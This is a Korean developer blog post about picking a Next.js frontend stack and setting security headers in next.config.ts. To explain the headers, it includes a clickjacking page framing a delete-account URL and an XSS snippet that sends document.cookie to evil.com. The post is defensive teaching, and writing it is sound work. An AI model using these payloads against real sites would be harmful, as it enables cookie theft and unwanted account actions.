[Preterview] 3. FE ๊ธฐ์ˆ  ์Šคํƒ ์„ธํŒ… ๋ฐ NextJS RSC ๋ณด์•ˆ ์ด์Šˆ ๋ณด์™„ํ•˜๊ธฐ

2025. 12. 15. 22:43ยท๐Ÿงก Projects/๐ŸŽคPreterview
728x90

๋“ค์–ด๊ฐ€๋ฉฐ

TypeScript ๊ธฐ๋ฐ˜์˜ ๋น ๋ฅธ ํ’€์Šคํƒ ๊ฐœ๋ฐœ์„ ์œ„ํ•ด NextJS ์„ธํŒ… ๊ณผ์ •์—์„œ ๋‹ค๋ฅธ ๊ธฐ์ˆ  ์Šคํƒ์„ ์ •ํ•˜๋Š” ๊ณผ์ •์ž…๋‹ˆ๋‹ค.

 

์ •ํ•ด์•ผ ํ•˜๋Š” ๋ถ€๋ถ„์ด ์ƒํƒœ๊ด€๋ฆฌ, ์„œ๋ฒ„ ์ƒํƒœ๊ด€๋ฆฌ, ์Šคํƒ€์ผ๋ง ํŒŒํŠธ์˜€์Šต๋‹ˆ๋‹ค.

 

์ƒํƒœ๊ด€๋ฆฌ : Zustand

Zustand๋กœ ์ง„ํ–‰ํ•˜์—ฌ ๋ณด์ผ๋Ÿฌ ํ”Œ๋ ˆ์ดํŠธ ์ฝ”๋“œ๊ฐ€ ๋งŽ์€ Redux ๋ณด๋‹ค๋Š” ๋น ๋ฅธ ๊ฐœ๋ฐœ์ด ๊ฐ€๋Šฅํ•˜๋‹ค๊ณ  ์ƒ๊ฐํ–ˆ์Šต๋‹ˆ๋‹ค.

 

์„œ๋ฒ„ ์ƒํƒœ ๊ด€๋ฆฌ : tanstack query

๋‹ค์Œ์€ ์„œ๋ฒ„ ์ƒํƒœ ๊ด€๋ฆฌ์˜€๋Š”๋ฐ, ๊ฐ€์žฅ ์ธ๊ธฐ์žˆ๊ณ , Zustand์™€ ํ˜ธํ™˜์„ฑ์ด ๋†’์€ Tanstack query๋ฅผ ํ†ตํ•ด์„œ ํด๋ผ์ด์–ธํŠธ์—์„œ๋Š” Zustand, ์„œ๋ฒ„์—์„œ๋Š” Tanstack query๋กœ ์—ญํ• ์„ ๋ถ„๋ฆฌํ•˜๊ธฐ๋กœ ํ–ˆ์Šต๋‹ˆ๋‹ค. ํŠนํžˆ NextJS 14์˜ App Router ๋ฅผ ์ง€์›ํ•˜๋ฏ€๋กœ Server components์™€์˜ ํ˜ธํ™˜์„ฑ์ด ๋†’๋‹ค๋Š” ์žฅ์ ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

 

์Šคํƒ€์ผ๋ง : tailwindcss + shadcn UI

๊ทธ๋Ÿผ ๊ทธ ๋‹ค์Œ์€ ์Šคํƒ€์ผ๋ง์ธ๋ฐ, ๊ธฐ์กด์—๋Š” TailwindCSS ๊ธฐ๋ฐ˜์˜ shadcn UI๋ฅผ ์‚ฌ์šฉํ•ด๋ณธ ๊ฒฝํ—˜์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ตœ๊ทผ ๊ณต๊ณ ์— Emotion๊ณผ Styled-Components ์— ๋Œ€ํ•œ ์š”๊ตฌ์‚ฌํ•ญ์ด ๊ฝค ๋ณด์ด๊ธธ๋ž˜ ๊ณ ๋ฏผ์ด ๋˜์—ˆ์Šต๋‹ˆ๋‹ค.

 

๊ทธ๋Ÿฌ๋‚˜ Emotion์€ Nextjs์—์„œ ์ œ๊ณตํ•˜๋Š” Server Component์—์„œ ์‚ฌ์šฉ์ด ๋ถˆ๊ฐ€๋Šฅ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— NextJS๋กœ ์šฐ์„  ํ’€์Šคํƒ์„ ๊ตฌ์ถ•ํ•˜์ž๋Š” ์šฐ์„ ์ˆœ์œ„์— ๋ฐ€๋ ธ์Šต๋‹ˆ๋‹ค. 

Styled-components๋Š” NextJS 14 App Router ํ˜ธํ™˜์„ฑ ์ด์Šˆ๊ฐ€ ์žˆ๊ณ , ์ตœ๊ทผ์—๋Š” ๋งŽ์ด ์•ˆ์“ฐ๋Š” ์ถ”์„ธ์ด๋ฏ€๋กœ TailwindCSS ๊ธฐ๋ฐ˜ shadcn ui๋ฅผ ์ง„ํ–‰ํ•˜๊ธฐ๋กœ ํ–ˆ์Šต๋‹ˆ๋‹ค.


์ตœ๊ทผ NextJS์˜ RSC ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด์„œ

App Router ๋ฐฉ์‹์—์„œ ์„œ๋ฒ„ ์ปดํฌ๋„ŒํŠธ์— ์ง์ ‘ ์ ‘๊ทผํ•˜๋Š” ๋ณด์•ˆ ๋ฌธ์ œ๊ฐ€ ๋ฐœ์ƒํ–ˆ๋‹ค๊ณ  ๋“ค์—ˆ์Šต๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ NextJS ๋ฒ„์ „์„ ๊ถŒ์žฅํ•˜๊ณ  ์žˆ๋Š” 15.5.9+ ๋ฒ„์ „์œผ๋กœ NextJS๋ฅผ ์‚ฌ์šฉํ•˜๋ ค ํ•ฉ๋‹ˆ๋‹ค.

 

๋˜, TypeScript ๋Ÿฐํƒ€์ž„ ๊ฒ€์ฆ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ธ Zod๋ฅผ ์ดˆ๊ธฐ์— ์„ธํŒ…ํ•˜๊ณ , ์•ฑ ๋™์ž‘ ๋ฐฉ์‹ ์„ค์ •ํ•˜๋Š” next.config.ts ํŒŒ์ผ์—์„œ ๋ณด์•ˆ ํ—ค๋”๋ฅผ ์„ค์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.

 

next.config.ts ํŒŒ์ผ์—์„œ ๋ณด์•ˆ ํ—ค๋” ์ถ”๊ฐ€ํ•˜๊ธฐ

// next.config.ts
import type { NextConfig } from 'next'

const nextConfig: NextConfig = {
  // X-Powered-By ํ—ค๋” ์ œ๊ฑฐ (Next.js ์‚ฌ์šฉ ์ˆจ๊ธฐ๊ธฐ)
  poweredByHeader: false,

  // ๋ณด์•ˆ ํ—ค๋” ์ถ”๊ฐ€
  async headers() {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'X-Frame-Options',
            value: 'DENY'  // iframe ์‚ฝ์ž… ๋ฐฉ์ง€
          },
          {
            key: 'X-Content-Type-Options',
            value: 'nosniff'  // MIME ํƒ€์ž… ์Šค๋‹ˆํ•‘ ๋ฐฉ์ง€
          },
          {
            key: 'Referrer-Policy',
            value: 'strict-origin-when-cross-origin'
          }
        ]
      }
    ]
  }
}

export default nextConfig

 

1. powerByHeader : false

HTTP ์‘๋‹ต ํ—ค๋”์—์„œ X-Powered-By : Next.js ์ œ๊ฑฐ๋ฅผ ํ†ตํ•ด ์–ด๋–ค ๋ณด์•ˆ์„ ์“ฐ๋Š”์ง€ ์•„์˜ˆ ์ˆจ๊น๋‹ˆ๋‹ค.

 

2. X-Frame-Options: DENY

๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์—์„œ ๋‚ด ์‚ฌ์ดํŠธ๋ฅผ <iframe>์œผ๋กœ ์‚ฝ์ž…ํ•˜๋Š” ๊ฒƒ ์ฐจ๋‹จ

<iframe>์„ ์‚ฝ์ž…ํ•˜๋Š” ๊ณต๊ฒฉ์ธ Clickjacking์„ ๋ฐฉ์–ดํ•ฉ๋‹ˆ๋‹ค.

<!-- ์•…์„ฑ ์‚ฌ์ดํŠธ (evil.com) -->
<style>
  iframe {
    opacity: 0;  /* ํˆฌ๋ช…ํ•˜๊ฒŒ */
    position: absolute;
    width: 100%;
    height: 100%;
  }
  button {
    position: absolute;
    top: 100px;
  }
</style>

<!-- ํ”ผํ•ด์ž ์‚ฌ์ดํŠธ๋ฅผ ํˆฌ๋ช…ํ•œ iframe์œผ๋กœ ์‚ฝ์ž… -->
<iframe src="https://preterview.com/delete-account"></iframe>

<!-- ์‚ฌ์šฉ์ž๋Š” ์ด ๋ฒ„ํŠผ์„ ๋ˆ„๋ฅด๋Š” ์ค„ ์•Œ์ง€๋งŒ... -->
<button>๋ฌด๋ฃŒ ์„ ๋ฌผ ๋ฐ›๊ธฐ!</button>

<!-- ์‹ค์ œ๋กœ๋Š” ํˆฌ๋ช…ํ•œ iframe์˜ "๊ณ„์ • ์‚ญ์ œ" ๋ฒ„ํŠผ์„ ๋ˆ„๋ฆ„! -->

 

X-Frame-Options: DENY

๋ธŒ๋ผ์šฐ์ €๊ฐ€ iframe ๋กœ๋”ฉ ์ž์ฒด๋ฅผ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค.

์˜ต์…˜์—๋Š”

// 1. DENY - ๋ชจ๋“  iframe ์ฐจ๋‹จ
value: 'DENY'

// 2. SAMEORIGIN - ๊ฐ™์€ ๋„๋ฉ”์ธ์—์„œ๋งŒ ํ—ˆ์šฉ
value: 'SAMEORIGIN'

// 3. ALLOW-FROM (๊ตฌ์‹, ์•ˆ ์”€)
value: 'ALLOW-FROM https://trusted.com'

 

๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์— iframe์œผ๋กœ ์‚ฝ์ž…๋”œ ์ด์œ ๊ฐ€ ์•„์ง ์—†๊ธฐ ๋•Œ๋ฌธ์— DENY๋ฅผ ์„ค์ •ํ–ˆ์Šต๋‹ˆ๋‹ค.

 

3. X-Content-Type-Options: nosniff

๋ธŒ๋ผ์šฐ์ €๊ฐ€ ํŒŒ์ผ ํƒ€์ž…์„ '์ถ”์ธก'ํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•จ์œผ๋กœ์จ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ HTML/JS๋ฅผ ์‹คํ–‰ํ•˜๋Š” MIME Snifflng Attack ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.
 
// ๊ณต๊ฒฉ์ž๊ฐ€ ์ด๋ฏธ์ง€ ์—…๋กœ๋“œ ๊ธฐ๋Šฅ ์•…์šฉ
// 1. ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ .jpg๋กœ ์œ„์žฅ
// malicious.jpg (์‹ค์ œ ๋‚ด์šฉ)
<script>
  // ์‚ฌ์šฉ์ž ์ฟ ํ‚ค ํ›”์น˜๊ธฐ
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

// 2. ์„œ๋ฒ„๋Š” Content-Type: image/jpeg๋กœ ์‘๋‹ต
// 3. ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋‚ด์šฉ ๋ณด๊ณ  "์–ด? ์ด๊ฑฐ HTML/JS๋„ค?" → ์‹คํ–‰!

// ๊ฒฐ๊ณผ: XSS ๊ณต๊ฒฉ ์„ฑ๊ณต

 

์ฆ‰, Content-Type ์ด image/jpeg๋ผ๋ฉด ๋ฌด์กฐ๊ฑด ์ด๋ฏธ์ง€๋กœ๋งŒ ์ฒ˜๋ฆฌํ•จ์œผ๋กœ์จ ์•…์„ฑ ์Šคํฌ๋ฆฝํŠธ๋ฅผ .jpg๋กœ ์œ„์žฅํ•œ ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

 

4. Referrer-Policy: strict-origin-when-cross-origin 

๋‹ค๋ฅธ ์‚ฌ์ดํŠธ๋กœ ์ด๋™ํ•  ๋•Œ ๋ฏผ๊ฐํ•œ URL ์ •๋ณด ๋…ธ์ถœ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค.

// ์‚ฌ์šฉ์ž๊ฐ€ Preterview์—์„œ ๋งํฌ ํด๋ฆญ
// URL: https://preterview.com/interview/session?token=abc123&user=kim

// โŒ Referrer-Policy ์—†์œผ๋ฉด
// ์™ธ๋ถ€ ์‚ฌ์ดํŠธ(evil.com)๋กœ ์ด๋™ ์‹œ HTTP ํ—ค๋”์— ์ „์ฒด URL ๋…ธ์ถœ
Referer: https://preterview.com/interview/session?token=abc123&user=kim
         ↑ ํ† ํฐ, ์‚ฌ์šฉ์ž ์ •๋ณด ๋‹ค ๋…ธ์ถœ!

// โœ… strict-origin-when-cross-origin
// ์™ธ๋ถ€ ์‚ฌ์ดํŠธ๋กœ ์ด๋™ ์‹œ ๋„๋ฉ”์ธ๋งŒ ์ „์†ก
Referer: https://preterview.com
         ↑ ๋ฏผ๊ฐํ•œ ํŒŒ๋ผ๋ฏธํ„ฐ ์ œ๊ฑฐ๋จ

 

 

์ถ”๊ฐ€๋กœ 

5. X-XSS-Protection 

{
  key: 'X-XSS-Protection',
  value: '1; mode=block'
}

 

mode=block ์„ ํ†ตํ•ด XSS ๊ฐ์ง€ ์‹œ ํŽ˜์ด์ง€ ๋ Œ๋”๋ง์„ ์ฐจ๋‹จํ•˜์—ฌ ๊ณต๊ฒฉ์„ ๋ฐฉ์ง€ํ•ฉ๋‹ˆ๋‹ค. ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €์—์„œ๋Š” CSP๋กœ ๋Œ€์ฒด๋œ๋‹ค๊ณ  ํ•˜๋Š”๋ฐ ๊ตฌํ˜• ๋ธŒ๋ผ์šฐ์ € ๋Œ€์‘์šฉ์œผ๋กœ ์ถ”๊ฐ€ํ•˜๋ฉด ์ข‹์Šต๋‹ˆ๋‹ค.

 

 

728x90
'๐Ÿงก Projects/๐ŸŽคPreterview' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€
  • [Preterview] 2. github organization์—์„œ ์ด์Šˆ ํ…œํ”Œ๋ฆฟ ๋ฏธ์ ์šฉ ๋ฌธ์ œ ํ•ด๊ฒฐํ•˜๊ธฐ
  • [Preterview] 1. MVP ๊ธฐํš ๋ฐ ๊นƒํ—ˆ๋ธŒ ์„ธํŒ…ํ•˜๊ธฐ
eyes from es
eyes from es
  • eyes from es
    eyes from es
    eyes from es
  • ์ „์ฒด
    ์˜ค๋Š˜
    ์–ด์ œ
    • ๋ถ„๋ฅ˜ ์ „์ฒด๋ณด๊ธฐ
      • โค๏ธ ๊ฟ€ํŒ ๋ชจ์Œ
        • โค๏ธ ๊ฐ“์ƒ ๊ฟ€ํŒ
        • โค๏ธ ํ”„๋กœ๊ทธ๋ž˜๋ฐ
      • ๐Ÿงก Projects
        • ๐Ÿงก Projects: Web
        • ๐ŸŽคPreterview
        • ๐Ÿงก Projects: App
        • ๐Ÿงก๋Œ€์™ธํ™œ๋™
        • ๐Ÿงก OSCCA ์˜คํ”ˆ์†Œ์Šค ์ปจํŠธ๋ฆฌ๋ทฐ์…˜ ์•„์นด๋ฐ๋ฏธ
      • ๐Ÿ’› Frontend
        • ๐Ÿ’› Frontend : React
        • ๐Ÿ’› Frontend : JavaScript
        • ๐Ÿ’› Frontend : TypeScript
      • ๐Ÿ’š Backend
      • ๐Ÿ’™ OS: ์šด์˜์ฒด์ œ
        • ๐Ÿ’™ Linux
      • ๐Ÿ’œ ์ฝ”๋”ฉํ…Œ์ŠคํŠธ
        • ๐Ÿ’œ ์ž๋ฃŒ๊ตฌ์กฐ
        • ๐Ÿ’œ ์•Œ๊ณ ๋ฆฌ์ฆ˜
        • ๐Ÿ’œ ๋ฐฑ์ค€
        • ๐Ÿ’œSWEA
        • ๐Ÿ’œํ”„๋กœ๊ทธ๋ž˜๋จธ์Šค
      • ๐Ÿ”ด Study
        • ๐Ÿ”ด๋ฉด์ ‘ ์Šคํ„ฐ๋””
        • ๐Ÿ”ด ๊ธฐ์—…๋ถ„์„
        • ๐Ÿ”ด ์—๋Ÿฌ๋…ธํŠธ(Error Note)๐Ÿงฑ
        • ๐Ÿ”ด ITNews(Coding)
        • ๐Ÿ”ด ITNews(Tech)
      • ๐ŸŸ  ์ธ์ƒ ๊ณ„ํš
        • ๐ŸŸ  ์˜ฌํ•ด ๋ชฉํ‘œ
      • ๐ŸŸก TIL
        • ๐ŸŸก TIL ์ผ๊ธฐ
  • ๋ธ”๋กœ๊ทธ ๋ฉ”๋‰ด

    • ํ™ˆ
    • ํƒœ๊ทธ
    • ๋ฐฉ๋ช…๋ก
  • ๋งํฌ

  • ๊ณต์ง€์‚ฌํ•ญ

  • ์ธ๊ธฐ ๊ธ€

  • ํƒœ๊ทธ

    ๊ฐœ๋ฐœ๊ณต๋ถ€
    ์ž๋ฃŒ๊ตฌ์กฐ
    C
    ์Šคํ„ฐ๋””
    IT์ด์Šˆ
    ์ฝ”ํ…Œ
    ๋ฌธ์ œํ’€์ด
    css
    ๋™ํ–ฅ๋ถ„์„
    ๋‰ด์Šค์Šคํฌ๋žฉ
    ์ฝ”๋”ฉ
    ์ฝ”๋“œ์Šคํ„ฐ๋””
    ์Šค๋งˆํŠธ์‹ฑ์Šค
    Ai
    ๋ฐฉํ•™์Šคํ„ฐ๋””
    html
    ์ŠคํŒŒ๋ฅดํƒ€์ฝ”๋”ฉํด๋Ÿฝ
    SW์ด์Šˆ
    ๋ถ„์„๋ ˆํฌํŠธ
    ์›น๊ฐœ๋ฐœ
    ์ฝ”๋“œ๋ฆฌ๋ทฐ
    ๊ธฐ์—…๋ถ„์„
    ์‚ผ์„ฑ์ „์ž
    ๋‰ด์Šค๋ฃธ
    ์ฝ”๋”ฉํ…Œ์ŠคํŠธ
    ์•Œ๊ณ ๋ฆฌ์ฆ˜
    ๋„ค์นด๋ผ์ฟ ๋ฐฐ
    ๋ฐฑ์ค€
    ๊ฐœ๋ฐœ
    ์ตœ๊ทผ์ด์Šˆ
  • ์ตœ๊ทผ ๋Œ“๊ธ€

  • ์ตœ๊ทผ ๊ธ€

  • hELLOยท Designed By์ •์ƒ์šฐ.v4.10.5
eyes from es
[Preterview] 3. FE ๊ธฐ์ˆ  ์Šคํƒ ์„ธํŒ… ๋ฐ NextJS RSC ๋ณด์•ˆ ์ด์Šˆ ๋ณด์™„ํ•˜๊ธฐ
์ƒ๋‹จ์œผ๋กœ

ํ‹ฐ์Šคํ† ๋ฆฌํˆด๋ฐ”